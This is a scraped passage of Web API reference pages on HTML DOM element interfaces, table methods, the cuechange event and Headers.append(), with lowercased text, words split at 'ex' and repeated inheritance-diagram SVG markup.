ex of the htmloptionelement to remove from the collection.
... if the ind
ex is not found the method has no effect.
...
example var sel = document.getelementbyid("
existinglist"); sel.remove(1); /* takes the
existing following select object: <select id="
existinglist" name="
existinglist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> <option value="3">option: value 3</option> </select> and changes it to: <select id="
existinglist" name="
existinglist"> <option value="1">option: value 1</option> <option value="3">option: value 3</option> </select> */ specifications specification status comment html living standardthe definition of 'htmlselectelement.remove()' in that specification.
HTMLShadowElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlshadowelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="406" y="94" font-size="12px" font...
...-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlshadowelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface inherits the properties of htmlelement.
HTMLSourceElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlsourceelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="406" y="94" font-size="12px" font...
...-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlsourceelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLSpanElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlspanelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="416" y="94" font-size="12px" font-f...
...amily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlspanelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface has no properties, but inherits properties from: htmlelement.
HTMLStyleElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlstyleelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="411" y="94" font-size="12px" font-...
...family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlstyleelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and implements linkstyle.
HTMLTableCaptionElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablecaptionelement" target="_top"><rect x="261" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="376" y="94" font-size="12px...
..." font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmltablecaptionelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLTableColElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablecolelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="396" y="94" font-size="12px" fo...
...nt-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmltablecolelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLTableElement.createCaption() - Web APIs
if no <caption> element
exists on the table, this method creates it, and then returns it.
... note: if no caption
exists, createcaption() inserts a new caption directly into the table.
... syntax htmltableelement = table.createcaption(); return value htmltablecaptionelement
example this
example uses javascript to add a caption to a table that initially lacks one.
... html <table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> </table> javascript let table = document.queryselector('table'); let caption = table.createcaption(); caption.t
extcontent = 'this caption was created by javascript!'; result specifications specification status comment html living standardthe definition of 'htmltableelement: createcaption' in that specification.
HTMLTableElement.deleteRow() - Web APIs
syntax htmltableelement.deleterow(ind
ex) parameters ind
ex ind
ex is an integer representing the row that should be deleted.
... however, the special ind
ex -1 can be used to remove the very last row of a table.
... return value no return value errors thrown if the number of the row to delete, specified by the parameter, is greater or equal to the number of available rows, or if it is negative and not equal to the special ind
ex -1, representing the last row of the table, the
exception ind
ex_size_err is thrown.
...
example this
example uses javascript to delete a table's second row.
HTMLTemplateElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltemplateelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="396" y="94" font-size="12px" fo...
...nt-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmltemplateelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface inherits the properties of htmlelement.
HTMLTimeElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltimeelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="416" y="94" font-size="12px" font-f...
...amily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmltimeelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLTrackElement: cuechange event - Web APIs
the cuechange event fires when a t
exttrack has changed the currently displaying cues.
... the event is fired at both the t
exttrack and at the htmltrackelement in which it's being presented, if any.
... bubbles no cancelable no interface event event handler oncuechange
examples on the t
exttrack you can set up a listener for the cuechange event on a t
exttrack using the addeventlistener() method: track.addeventlistener('cuechange', function () { let cues = track.activecues; // array of current cues }); or you can just set the oncuechange event handler property: track.oncuechange = function () { let cues = track.activecues; // array of current cues } on the track element the underlying t
exttrack, indicated by the track property, receives a cuechange event every time the currently-presented cue is changed.
... let t
exttrackelem = document.getelementbyid("t
exttrack"); t
exttrackelem.addeventlistener("cuechange", (event) => { let cues = event.target.track.activecues; }); in addition, you can use the oncuechange event handler: let t
exttrackelem = document.getelementbyid("t
exttrack"); t
exttrackelem.oncuechange = (event) => { let cues = event.target.track.activecues; }); specifications specification status html living standardthe definition of 'cuechange' in that specification.
HTMLUListElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlulistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="411" y="94" font-size="12px" font-...
...family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlulistelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLUnknownElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlunknownelement" target="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="401" y="94" font-size="12px" fon...
...t-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlunknownelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties no specific property; inherits properties from its parent, htmlelement.
Headers.append() - Web APIs
the append() method of the headers interface appends a new value onto an
existing header inside a headers object, or adds the header if it does not already
exist.
... the difference between set() and append() is that if the specified header already
exists and accepts multiple values, set() will overwrite the
existing value with the new one, whereas append() will append the new value onto the end of the set of values.
...
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using append(): myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' if the specified header already
exists, append() will change its value to the specified value.
... if the specified header already
